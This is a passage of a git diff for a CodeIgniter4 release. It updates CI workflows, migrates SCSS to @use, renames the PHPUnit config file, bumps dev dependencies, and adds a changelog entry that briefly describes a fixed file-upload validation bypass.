}}-psalm-${{ github.sha }} diff --git a/.github/workflows/test-random-execution.yml b/.github/workflows/test-random-execution.yml index 91ccfc174148..7774419e4a38 100644 --- a/.github/workflows/test-random-execution.yml +++ b/.github/workflows/test-random-execution.yml @@ -9,7 +9,7 @@ on: - '.github/scripts/run-random-tests.sh' - '.github/scripts/random-tests-config.txt' - '.github/workflows/test-random-execution.yml' - - 'phpunit.xml.dist' + - 'phpunit.dist.xml' - 'system/**.php' - 'tests/**.php' @@ -21,11 +21,11 @@ on: - '.github/scripts/run-random-tests.sh' - '.github/scripts/random-tests-config.txt' - '.github/workflows/test-random-execution.yml' - - 'phpunit.xml.dist' + - 'phpunit.dist.xml' - 'system/**.php' - 'tests/**.php' - workflow_call: + workflow_dispatch: inputs: quiet: description: Suppress debug output @@ -79,7 +79,7 @@ jobs: services: mysql: - image: mysql:8.0 + image: ${{ matrix.db-platform == 'MySQLi' && 'mysql:8.0' || '' }} env: MYSQL_ALLOW_EMPTY_PASSWORD: yes MYSQL_DATABASE: test @@ -92,7 +92,7 @@ jobs: --health-retries=3 postgres: - image: postgres + image: ${{ matrix.db-platform == 'Postgre' && 'postgres' || '' }} env: POSTGRES_USER: postgres POSTGRES_PASSWORD: postgres @@ -106,7 +106,7 @@ jobs: --health-retries=3 mssql: - image: mcr.microsoft.com/mssql/server:2025-CU2-ubuntu-24.04 + image: ${{ matrix.db-platform == 'SQLSRV' && 'mcr.microsoft.com/mssql/server:2025-CU3-ubuntu-24.04' || '' }} env: MSSQL_SA_PASSWORD: 1Secure*Password1 ACCEPT_EULA: Y @@ -120,7 +120,7 @@ jobs: --health-retries=3 oracle: - image: gvenzl/oracle-xe:21 + image: ${{ matrix.db-platform == 'Oracle' && 'gvenzl/oracle-free:latest' || '' }} env: ORACLE_RANDOM_PASSWORD: true APP_USER: ORACLE @@ -169,12 +169,16 @@ jobs: - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + fetch-depth: 0 - name: Setup PHP ${{ matrix.php-version }} - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: ${{ matrix.php-version }} extensions: gd, curl, iconv, json, mbstring, openssl, sodium + ini-values: opcache.enable_cli=0 coverage: none - name: Get composer cache directory @@ -182,7 +186,7 @@ jobs: run: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - name: Cache composer dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} key: PHP_${{ matrix.php-version }}-${{ hashFiles('**/composer.*') }} @@ -223,3 +227,12 @@ jobs: env: DB: ${{ matrix.db-platform }} TERM: xterm-256color + + - name: Upload random-test artifacts on failure + if: ${{ always() && failure() }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: random-tests-${{ matrix.db-platform }}-php${{ matrix.php-version }} + path: build/random-tests/ + retention-days: 1 + overwrite: true diff --git a/.github/workflows/test-rector.yml b/.github/workflows/test-rector.yml index c3462d8fba09..b8bef42af1dc 100644 --- a/.github/workflows/test-rector.yml +++ b/.github/workflows/test-rector.yml @@ -52,17 +52,11 @@ jobs: composer-option: '--ignore-platform-req=php' steps: - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: ${{ matrix.php-version }} extensions: intl @@ -78,7 +72,7 @@ jobs: run: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - name: Cache dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }} @@ -88,7 +82,7 @@ jobs: run: composer update --ansi --no-interaction ${{ matrix.composer-option }} - name: Rector Cache - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: /tmp/rector key: ${{ runner.os }}-rector-${{ github.run_id }} diff --git a/.github/workflows/test-scss.yml b/.github/workflows/test-scss.yml index b1227e35e0d0..919fae137812 100644 --- a/.github/workflows/test-scss.yml +++ b/.github/workflows/test-scss.yml @@ -36,10 +36,9 @@ jobs: uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Setup Node - uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0 + uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 with: - # node version based on dart-sass test workflow - node-version: 16 + node-version: '24' - name: Install Dart Sass run: | diff --git a/.github/workflows/test-structarmed.yml b/.github/workflows/test-structarmed.yml new file mode 100644 index 000000000000..030028f3a16c --- /dev/null +++ b/.github/workflows/test-structarmed.yml @@ -0,0 +1,90 @@ +# When a PR is opened or a push is made, perform +# a static analysis check on the code using Structarmed. +name: Structarmed + +on: + pull_request: + branches: + - 'develop' + - '4.*' + paths: + - 'app/**.php' + - 'system/**.php' + - 'tests/**.php' + - 'utils/**.php' + - '.github/workflows/test-structarmed.yml' + - composer.json + - structarmed.php + - '**.neon.dist' + + push: + branches: + - 'develop' + - '4.*' + paths: + - 'app/**.php' + - 'system/**.php' + - 'tests/**.php' + - 'utils/**.php' + - '.github/workflows/test-structarmed.yml' + - composer.json + - structarmed.php + - '**.neon.dist' + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + build: + name: PHP ${{ matrix.php-version }} Analyze code (Structarmed) + runs-on: ubuntu-24.04 + strategy: + fail-fast: false + matrix: + php-version: + - '8.2' + - '8.5' + + steps: + - name: Checkout + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + + - name: Setup PHP + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 + with: + php-version: ${{ matrix.php-version }} + extensions: intl + tools: composer + + - name: Validate composer.json + run: composer validate --strict + + - name: Get composer cache directory + id: composer-cache + run: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT + + - name: Cache dependencies + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} + key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }} + restore-keys: ${{ runner.os }}-composer- + + - name: Install dependencies + run: composer update --ansi --no-interaction + + - name: Structarmed Cache + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: /tmp/structarmed + key: ${{ runner.os }}-structarmed-${{ github.run_id }} + restore-keys: ${{ runner.os }}-structarmed- + + - run: mkdir -p /tmp/structarmed + + - name: Run static analysis + run: vendor/bin/structarmed analyze diff --git a/.gitignore b/.gitignore index e18328fc9b15..3e4a7c1d18f7 100644 --- a/.gitignore +++ b/.gitignore @@ -127,6 +127,6 @@ _modules/* .vscode/ /results/ -/phpunit*.xml +/phpunit.xml /.php-cs-fixer.php diff --git a/CHANGELOG.md b/CHANGELOG.md index efb902c3dcdf..0f8cbd59deb0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,53 @@ # Changelog +## [v4.7.3](https://github.com/codeigniter4/CodeIgniter4/tree/v4.7.3) (2026-05-22) +[Full Changelog](https://github.com/codeigniter4/CodeIgniter4/compare/v4.7.2...v4.7.3) + +### Security + +* **Validation**: *Uploaded file extension validation bypass in `ext_in` rule* + The ``ext_in`` file upload validation rule now validates the client filename extension and verifies that it + matches the detected MIME type. Previously, ``ext_in`` only checked the MIME-derived guessed extension, so + a file with a mismatched client extension could pass validation. + + See the [GHSA-2gr4-ppc7-7mhx security advisory](https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-2gr4-ppc7-7mhx) for more information. Credits to @z3moo and @teebow1e for reporting the issue. + +### Fixed Bugs + +* fix: make Autoloader composer path injectable to fix parallel test race condition by @michalsn in https://github.com/codeigniter4/CodeIgniter4/pull/10082 +* fix: store SPL closures in `register()` so `unregister()` can remove them by @michalsn in https://github.com/codeigniter4/CodeIgniter4/pull/10097 +* fix: ensure output buffer is closed after use of `command()` by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10099 +* fix: preserve null values in Validation::getValidated() by @michalsn in https://github.com/codeigniter4/CodeIgniter4/pull/10101 +* fix: refactor inconsistent behavior on `CLI::write()` and `CLI::error()` by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10106 +* fix: ensure calling `env` command with options only would not throw by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10114 +* fix: suppress stty stderr leak in `CLI::generateDimensions()` when stdin is not a TTY by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10124 +* fix: reset Kint CSP state in worker mode by @memleakd in https://github.com/codeigniter4/CodeIgniter4/pull/10139 +* fix: make `Time::createFromTimestamp` locale-independent by @michalsn in https://github.com/codeigniter4/CodeIgniter4/pull/10151 +* fix: SQLSRV driver's `decrement()` method by @patel-vansh in https://github.com/codeigniter4/CodeIgniter4/pull/10155 +* fix: suppress tput stderr leak when TERM is not present by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10167 +* fix: support third-party loggers in toolbar logs collector by @michalsn in https://github.com/codeigniter4/CodeIgniter4/pull/10173 +* fix: PostgreSQL Builder's `increment()` and `decrement()` methods not working for numeric columns by @patel-vansh in https://github.com/codeigniter4/CodeIgniter4/pull/10172 +* fix: preserve cached table list shape by @memleakd in https://github.com/codeigniter4/CodeIgniter4/pull/10179 +* fix: harden regex matching on `key:generate` command by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10183 +* fix: restore deep dot-notation traversal in `Language::getLine()` by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10189 +* fix: make frankenphp-worker.php template idempotent on watcher restart by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10191 +* fix: `Entity::normalizeValue()` must handle `UnitEnum` before `toArray()` by @maniaba in https://github.com/codeigniter4/CodeIgniter4/pull/10137 +* fix: recognize off zlib output compression value by @memleakd in https://github.com/codeigniter4/CodeIgniter4/pull/10193 +* fix: escape `--host` option in `serve` command by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10203 + +### Refactoring + +* refactor: add full testing for `logs:clear` command by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10090 +* refactor: add full testing for `debugbar:clear` command by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10093 +* refactor: pass `--do-not-cache-result` to prevent shared cache corruption by @michalsn in https://github.com/codeigniter4/CodeIgniter4/pull/10098 +* refactor: add full testing for `cache:clear` command by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10094 +* refactor: rename `-h` option of `routes` command as `--handler` by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10113 +* refactor: further rename `--handler` to `--sort-by-handler` for `routes` by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10125 +* refactor: UX: `ClearLogs::execute()` error message is misleading after interactive `'n'` by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10126 +* refactor: simplify `FileLocator::listFiles()` by @paulbalandan in https://github.com/codeigniter4/CodeIgniter4/pull/10142 +* refactor: reduce PHPStan child return type baseline by @memleakd in https://github.com/codeigniter4/CodeIgniter4/pull/10165 +* refactor: remove PHPStan callable signature baseline by @memleakd in https://github.com/codeigniter4/CodeIgniter4/pull/10166 + ## [v4.7.2](https://github.com/codeigniter4/CodeIgniter4/tree/v4.7.2) (2026-03-24) [Full Changelog](https://github.com/codeigniter4/CodeIgniter4/compare/v4.7.1...v4.7.2) diff --git a/admin/RELEASE.md b/admin/RELEASE.md index 4116520297e9..75b4e26b2b31 100644 --- a/admin/RELEASE.md +++ b/admin/RELEASE.md @@ -107,7 +107,7 @@ the existing content. ``` git diff --name-status upstream/master -- . ':!.github/' ':!admin/' ':!changelogs/' ':!contributing/' \ ':!system/' ':!tests/' ':!user_guide_src/' ':!utils/' \ - ':!*.json' ':!*.xml' ':!*.dist' ':!rector.php' ':!deptrac.yml' \ + ':!*.json' ':!*.xml' ':!*.dist' ':!rector.php' ':!structarmed.php' \ ':!phpstan*' ':!psalm*' ':!.php-cs-fixer.*' ':!LICENSE' ':!CHANGELOG.md' ``` * Note: `tests/` is not used for distribution repos. See `admin/starter/tests/`. diff --git a/admin/css/debug-toolbar/_theme-dark.scss b/admin/css/debug-toolbar/_theme-dark.scss index ead7d02a58e3..83176023a87e 100644 --- a/admin/css/debug-toolbar/_theme-dark.scss +++ b/admin/css/debug-toolbar/_theme-dark.scss @@ -2,23 +2,23 @@ // ========================================================================== */ // The "box-shadow" mixin uses colors -@import '_mixins'; +@use '_mixins'; // Graphic charter -@import '_graphic-charter'; +@use '_graphic-charter'; // DEBUG ICON // ========================================================================== */ #debug-icon { - background-color: $t-dark; - @include box-shadow(0, 0, 4px, $m-gray); + background-color: graphic-charter.$t-dark; + @include mixins.box-shadow(0, 0, 4px, graphic-charter.$m-gray); a:active, a:link, a:visited { - color: $g-orange; + color: graphic-charter.$g-orange; } } @@ -27,8 +27,8 @@ // ========================================================================== */ #debug-bar { - background-color: $t-dark; - color: $m-gray; + background-color: graphic-charter.$t-dark; + color: graphic-charter.$m-gray; // Reset to prevent conflict with other CSS files h1, @@ -44,35 +44,35 @@ button, .toolbar { background-color: transparent; - color: $m-gray; + color: graphic-charter.$m-gray; } // Buttons button { - background-color: $t-dark; + background-color: graphic-charter.$t-dark; } // Tables table { strong { - color: $g-orange; + color: graphic-charter.$g-orange; } tbody tr { &:hover { - background-color: $g-gray; + background-color: graphic-charter.$g-gray; } &.current { - background-color: $m-orange; + background-color: graphic-charter.$m-orange; td { - color: $t-dark; + color: graphic-charter.$t-dark; } &:hover td { - background-color: $g-red; - color: $t-light; + background-color: graphic-charter.$g-red; + color: graphic-charter.$t-light; } } } @@ -80,8 +80,8 @@ // The toolbar .toolbar { - background-color: $g-gray; - @include box-shadow(0, 0, 4px, $g-gray); + background-color: graphic-charter.$g-gray; + @include mixins.box-shadow(0, 0, 4px, graphic-charter.$g-gray); img { filter: brightness(0) invert(1); @@ -91,24 +91,24 @@ // Fixed top &.fixed-top { .toolbar { - @include box-shadow(0, 0, 4px, $g-gray); + @include mixins.box-shadow(0, 0, 4px, graphic-charter.$g-gray); } .tab { - @include box-shadow(0, 1px, 4px, $g-gray); + @include mixins.box-shadow(0, 1px, 4px, graphic-charter.$g-gray); } } // "Muted" elements .muted { - color: $m-gray; + color: graphic-charter.$m-gray; td { - color: $g-gray; + color: graphic-charter.$g-gray; } &:hover td { - color: $m-gray; + color: graphic-charter.$m-gray; } } @@ -121,34 +121,34 @@ // The toolbar menus .ci-label { &.active { - background-color: $t-dark; + background-color: graphic-charter.$t-dark; } &:hover { - background-color: $t-dark; + background-color: graphic-charter.$t-dark; } .badge { - background-color: $g-red; - color: $t-light; + background-color: graphic-charter.$g-red; + color: graphic-charter.$t-light; } } // The tabs container .tab { - background-color: $t-dark; - @include box-shadow(0, -1px, 4px, $g-gray); + background-color: graphic-charter.$t-dark; + @include mixins.box-shadow(0, -1px, 4px, graphic-charter.$g-gray); } // The "Timeline" tab .timeline { th, td { - border-color: $g-gray; + border-color: graphic-charter.$g-gray; } .timer { - background-color: $g-orange; + background-color: graphic-charter.$g-orange; } } } @@ -158,10 +158,10 @@ // ========================================================================== */ .debug-view.show-view { - border-color: $g-orange; + border-color: graphic-charter.$g-orange; } .debug-view-path { - background-color: $m-orange; - color: $g-gray; + background-color: graphic-charter.$m-orange; + color: graphic-charter.$g-gray; } diff --git a/admin/css/debug-toolbar/_theme-light.scss b/admin/css/debug-toolbar/_theme-light.scss index 4e4295ccd131..9aa0a5a2c9b4 100644 --- a/admin/css/debug-toolbar/_theme-light.scss +++ b/admin/css/debug-toolbar/_theme-light.scss @@ -2,23 +2,23 @@ // ========================================================================== */ // The "box-shadow" mixin uses colors -@import '_mixins'; +@use '_mixins'; // Graphic charter -@import '_graphic-charter'; +@use '_graphic-charter'; // DEBUG ICON // ========================================================================== */ #debug-icon { - background-color: $t-light; - @include box-shadow(0, 0, 4px, $m-gray); + background-color: graphic-charter.$t-light; + @include mixins.box-shadow(0, 0, 4px, graphic-charter.$m-gray); a:active, a:link, a:visited { - color: $g-orange; + color: graphic-charter.$g-orange; } } @@ -27,8 +27,8 @@ // ========================================================================== */ #debug-bar { - background-color: $t-light; - color: $g-gray; + background-color: graphic-charter.$t-light; + color: graphic-charter.$g-gray; // Reset to prevent conflict with other CSS files h1, @@ -44,31 +44,31 @@ button, .toolbar { background-color: transparent; - color: $g-gray; + color: graphic-charter.$g-gray; } // Buttons button { - background-color: $t-light; + background-color: graphic-charter.$t-light; } // Tables table { strong { - color: $g-orange; + color: graphic-charter.$g-orange; } tbody tr { &:hover { - background-color: $m-gray; + background-color: graphic-charter.$m-gray; } &.current { - background-color: $m-orange; + background-color: graphic-charter.$m-orange; &:hover td { - background-color: $g-red; - color: $t-light; + background-color: graphic-charter.$g-red; + color: graphic-charter.$t-light; } } } @@ -76,8 +76,8 @@ // The toolbar .toolbar { - background-color: $t-light; - @include box-shadow(0, 0, 4px, $m-gray); + background-color: graphic-charter.$t-light; + @include mixins.box-shadow(0, 0, 4px, graphic-charter.$m-gray); img { filter: brightness(0) invert(0.4); @@ -87,24 +87,24 @@ // Fixed top &.fixed-top { .toolbar { - @include box-shadow(0, 0, 4px, $m-gray); + @include mixins.box-shadow(0, 0, 4px, graphic-charter.$m-gray); } .tab { - @include box-shadow(0, 1px, 4px, $m-gray); + @include mixins.box-shadow(0, 1px, 4px, graphic-charter.$m-gray); } } // "Muted" elements .muted { - color: $g-gray; + color: graphic-charter.$g-gray; td { - color: $m-gray; + color: graphic-charter.$m-gray; } &:hover td { - color: $g-gray; + color: graphic-charter.$g-gray; } } @@ -117,34 +117,34 @@ // The toolbar menus .ci-label { &.active { - background-color: $m-gray; + background-color: graphic-charter.$m-gray; } &:hover { - background-color: $m-gray; + background-color: graphic-charter.$m-gray; } .badge { - background-color: $g-red; - color: $t-light; + background-color: graphic-charter.$g-red; + color: graphic-charter.$t-light; } } // The tabs container .tab { - background-color: $t-light; - @include box-shadow(0, -1px, 4px, $m-gray); + background-color: graphic-charter.$t-light; + @include mixins.box-shadow(0, -1px, 4px, graphic-charter.$m-gray); } // The "Timeline" tab .timeline { th, td { - border-color: $m-gray; + border-color: graphic-charter.$m-gray; } .timer { - background-color: $g-orange; + background-color: graphic-charter.$g-orange; } } } @@ -154,10 +154,10 @@ // ========================================================================== */ .debug-view.show-view { - border-color: $g-orange; + border-color: graphic-charter.$g-orange; } .debug-view-path { - background-color: $m-orange; - color: $g-gray; + background-color: graphic-charter.$m-orange; + color: graphic-charter.$g-gray; } diff --git a/admin/css/debug-toolbar/toolbar.scss b/admin/css/debug-toolbar/toolbar.scss index 65f4b802e22c..767c908bf176 100644 --- a/admin/css/debug-toolbar/toolbar.scss +++ b/admin/css/debug-toolbar/toolbar.scss @@ -10,8 +10,9 @@ // IMPORTS // ========================================================================== */ -@import '_mixins'; -@import '_settings'; +@use "sass:meta"; +@use '_mixins'; +@use '_settings'; // DEBUG ICON // ========================================================================== */ @@ -76,8 +77,8 @@ line-height: 36px; // Typography - font-family: $base-font; - font-size: $base-size; + font-family: settings.$base-font; + font-size: settings.$base-size; font-weight: 400; // General elements @@ -86,7 +87,7 @@ font-weight: normal; margin: 0 0 0 auto; padding: 0; - font-family: $base-font; + font-family: settings.$base-font; svg { width: 16px; @@ -96,7 +97,7 @@ h2 { font-weight: bold; - font-size: $base-size; + font-size: settings.$base-size; margin: 0; padding: 5px 0 10px 0; @@ -106,7 +107,7 @@ } h3 { - font-size: $base-size - 4; + font-size: settings.$base-size - 4; font-weight: 200; margin: 0 0 0 10px; padding: 0; @@ -114,7 +115,7 @@ } p { - font-size: $base-size - 4; + font-size: settings.$base-size - 4; margin: 0 0 0 15px; padding: 0; } @@ -129,7 +130,7 @@ button { border: 1px solid; - @include border-radius(4px); + @include mixins.border-radius(4px); cursor: pointer; line-height: 15px; @@ -140,7 +141,7 @@ table { border-collapse: collapse; - font-size: $base-size - 2; + font-size: settings.$base-size - 2; line-height: normal; // Tables indentation @@ -255,7 +256,7 @@ // The toolbar menus .ci-label { display: inline-flex; - font-size: $base-size - 2; + font-size: settings.$base-size - 2; &:hover { cursor: pointer; @@ -278,7 +279,7 @@ // The toolbar notification badges .badge { - @include border-radius(12px); + @include mixins.border-radius(12px); display: inline-block; font-size: 75%; font-weight: bold; @@ -316,7 +317,7 @@ th { border-left: 1px solid; - font-size: $base-size - 4; + font-size: settings.$base-size - 4; font-weight: 200; padding: 5px 5px 10px 5px; position: relative; @@ -355,7 +356,7 @@ } .timer { - @include border-radius(4px); + @include mixins.border-radius(4px); display: inline-block; padding: 5px; position: absolute; @@ -428,7 +429,7 @@ .debug-view-path { font-family: monospace; - font-size: $base-size - 4; + font-size: settings.$base-size - 4; letter-spacing: normal; min-height: 16px; padding: 2px; @@ -487,16 +488,16 @@ // ========================================================================== */ // Default theme is "Light" -@import '_theme-light'; +@include meta.load-css('_theme-light'); // If the browser supports "prefers-color-scheme" and the scheme is "Dark" @media (prefers-color-scheme: dark) { - @import '_theme-dark'; + @include meta.load-css('_theme-dark'); } // If we force the "Dark" theme #toolbarContainer.dark { - @import '_theme-dark'; + @include meta.load-css('_theme-dark'); td[data-debugbar-route] input[type=text] { background: #000; @@ -506,7 +507,7 @@ // If we force the "Light" theme #toolbarContainer.light { - @import '_theme-light'; + @include meta.load-css('_theme-light'); } // LAYOUT HELPERS diff --git a/admin/framework/.gitignore b/admin/framework/.gitignore index d69ef2f7dbdb..56b9f10d9160 100644 --- a/admin/framework/.gitignore +++ b/admin/framework/.gitignore @@ -123,4 +123,4 @@ _modules/* .vscode/ /results/ -/phpunit*.xml +/phpunit.xml diff --git a/admin/framework/phpunit.xml.dist b/admin/framework/phpunit.dist.xml similarity index 88% rename from admin/framework/phpunit.xml.dist rename to admin/framework/phpunit.dist.xml index dea940878617..98e56e2141a5 100644 --- a/admin/framework/phpunit.xml.dist +++ b/admin/framework/phpunit.dist.xml @@ -1,7 +1,7 @@ - + cacheDirectory="build/.phpunit.cache" +> + @@ -22,16 +19,19 @@ + ./tests + + ./app @@ -41,6 +41,7 @@ ./app/Config/Routes.php + diff --git a/admin/starter/.gitignore b/admin/starter/.gitignore index d69ef2f7dbdb..56b9f10d9160 100644 --- a/admin/starter/.gitignore +++ b/admin/starter/.gitignore @@ -123,4 +123,4 @@ _modules/* .vscode/ /results/ -/phpunit*.xml +/phpunit.xml diff --git a/admin/starter/builds b/admin/starter/builds index f156b6944cfd..c68c0894e93b 100755 --- a/admin/starter/builds +++ b/admin/starter/builds @@ -94,7 +94,7 @@ if (is_file($file)) { $files = [ __DIR__ . DIRECTORY_SEPARATOR . 'app/Config/Paths.php', - __DIR__ . DIRECTORY_SEPARATOR . 'phpunit.xml.dist', + __DIR__ . DIRECTORY_SEPARATOR . 'phpunit.dist.xml', __DIR__ . DIRECTORY_SEPARATOR . 'phpunit.xml', ]; diff --git a/admin/starter/phpunit.xml.dist b/admin/starter/phpunit.dist.xml similarity index 88% rename from admin/starter/phpunit.xml.dist rename to admin/starter/phpunit.dist.xml index b408a99d988c..d9d2c6ade852 100644 --- a/admin/starter/phpunit.xml.dist +++ b/admin/starter/phpunit.dist.xml @@ -1,7 +1,7 @@ - + cacheDirectory="build/.phpunit.cache" +> + @@ -22,16 +19,19 @@ + ./tests + + ./app @@ -41,6 +41,7 @@ ./app/Config/Routes.php + diff --git a/admin/starter/tests/README.md b/admin/starter/tests/README.md index fc40e447301e..d5b12eea54f7 100644 --- a/admin/starter/tests/README.md +++ b/admin/starter/tests/README.md @@ -80,11 +80,11 @@ The HTML files can be viewed by opening **tests/coverage/index.html** in your fa ## PHPUnit XML Configuration -The repository has a ``phpunit.xml.dist`` file in the project root that's used for +The repository has a ``phpunit.dist.xml`` file in the project root that's used for PHPUnit configuration. This is used to provide a default configuration if you do not have your own configuration file in the project root. -The normal practice would be to copy ``phpunit.xml.dist`` to ``phpunit.xml`` +The normal practice would be to copy ``phpunit.dist.xml`` to ``phpunit.xml`` (which is git ignored), and to tailor it as you see fit. For instance, you might wish to exclude database tests, or automatically generate HTML code coverage reports. diff --git a/admin/starter/tests/unit/HealthTest.php b/admin/starter/tests/unit/HealthTest.php index b3e480f4b0bf..1df24df823a7 100644 --- a/admin/starter/tests/unit/HealthTest.php +++ b/admin/starter/tests/unit/HealthTest.php @@ -27,7 +27,7 @@ public function testBaseUrlHasBeenSet(): void if ($env) { // BaseURL in .env is a valid URL? - // phpunit.xml.dist sets app.baseURL in $_SERVER + // phpunit.dist.xml sets app.baseURL in $_SERVER // So if you set app.baseURL in .env, it takes precedence $config = new App(); $this->assertTrue( @@ -37,7 +37,7 @@ public function testBaseUrlHasBeenSet(): void } // Get the baseURL in app/Config/App.php - // You can't use Config\App, because phpunit.xml.dist sets app.baseURL + // You can't use Config\App, because phpunit.dist.xml sets app.baseURL $reader = new ConfigReader(); // BaseURL in app/Config/App.php is a valid URL? diff --git a/app/Config/Database.php b/app/Config/Database.php index 29df3641adf7..060781ea18a3 100644 --- a/app/Config/Database.php +++ b/app/Config/Database.php @@ -140,7 +140,7 @@ class Database extends Config // * @var array // */ // public array $default = [ - // 'DSN' => 'localhost:1521/XEPDB1', + // 'DSN' => 'localhost:1521/FREEPDB1', // 'username' => 'root', // 'password' => 'root', // 'DBDriver' => 'OCI8', diff --git a/app/Config/Events.php b/app/Config/Events.php index 946285b89519..7dc950772c0e 100644 --- a/app/Config/Events.php +++ b/app/Config/Events.php @@ -25,7 +25,9 @@ Events::on('pre_system', static function (): void { if (ENVIRONMENT !== 'testing') { - if (ini_get('zlib.output_compression')) { + $value = ini_get('zlib.output_compression'); + + if (filter_var($value, FILTER_VALIDATE_BOOLEAN) || (int) $value > 0) { throw FrameworkException::forEnabledZlibOutputCompression(); } diff --git a/app/Config/Routes.php b/app/Config/Routes.php index fc4914a6923b..4cf109ed3dd4 100644 --- a/app/Config/Routes.php +++ b/app/Config/Routes.php @@ -2,7 +2,5 @@ use CodeIgniter\Router\RouteCollection; -/** - * @var RouteCollection $routes - */ +/** @var RouteCollection $routes */ $routes->get('/', 'Home::index'); diff --git a/app/Config/View.php b/app/Config/View.php index 582ef73276b1..b52d980dc39f 100644 --- a/app/Config/View.php +++ b/app/Config/View.php @@ -5,10 +5,6 @@ use CodeIgniter\Config\View as BaseView; use CodeIgniter\View\ViewDecoratorInterface; -/** - * @phpstan-type parser_callable (callable(mixed): mixed) - * @phpstan-type parser_callable_string (callable(mixed): mixed)&string - */ class View extends BaseView { /** @@ -34,8 +30,7 @@ class View extends BaseView * { title|esc(js) } * { created_on|date(Y-m-d)|esc(attr) } * - * @var array - * @phpstan-var array + * @var array */ public $filters = []; @@ -44,8 +39,7 @@ class View extends BaseView * by the core Parser by creating aliases that will be replaced with * any callable. Can be single or tag pair. * - * @var array|string> - * @phpstan-var array|parser_callable_string|parser_callable> + * @var array> */ public $plugins = []; diff --git a/composer.json b/composer.json index 7ba9b8dd44e2..64183685f899 100644 --- a/composer.json +++ b/composer.json @@ -17,18 +17,19 @@ "psr/log": "^3.0" }, "require-dev": { + "boundwize/structarmed": "0.6.15", "codeigniter/phpstan-codeigniter": "^1.5", "fakerphp/faker": "^1.24", "kint-php/kint": "^6.1", "mikey179/vfsstream": "^1.6.12", "nexusphp/tachycardia": "^2.0", "phpstan/extension-installer": "^1.4", - "phpstan/phpstan": "^2.1.36", + "phpstan/phpstan": "^2.1.55", "phpstan/phpstan-strict-rules": "^2.0", "phpunit/phpcov": "^9.0.2 || ^10.0", "phpunit/phpunit": "^10.5.16 || ^11.2", "predis/predis": "^3.0", - "rector/rector": "2.3.9", + "rector/rector": "2.4.4", "shipmonk/phpstan-baseline-per-identifier": "^2.0" }, "replace": { diff --git a/deptrac.yaml b/deptrac.yaml deleted file mode 100644 index 4f7d8367bae6..000000000000 --- a/deptrac.yaml +++ /dev/null @@ -1,285 +0,0 @@ -# Defines the layers for each framework -# component and their allowed interactions. -# The following components are exempt -# due to their global nature: -# - CLI & Commands -# - Config -# - Debug -# - Exception -# - Service -# - Validation\FormatRules -deptrac: - paths: - - ./app - - ./system - exclude_files: - - '#.*test.*#i' - layers: - - name: API - collectors: - - type: classNameRegex - value: '/^CodeIgniter\\API\\.*$/' - - name: Cache - collectors: - - type: classNameRegex - value: 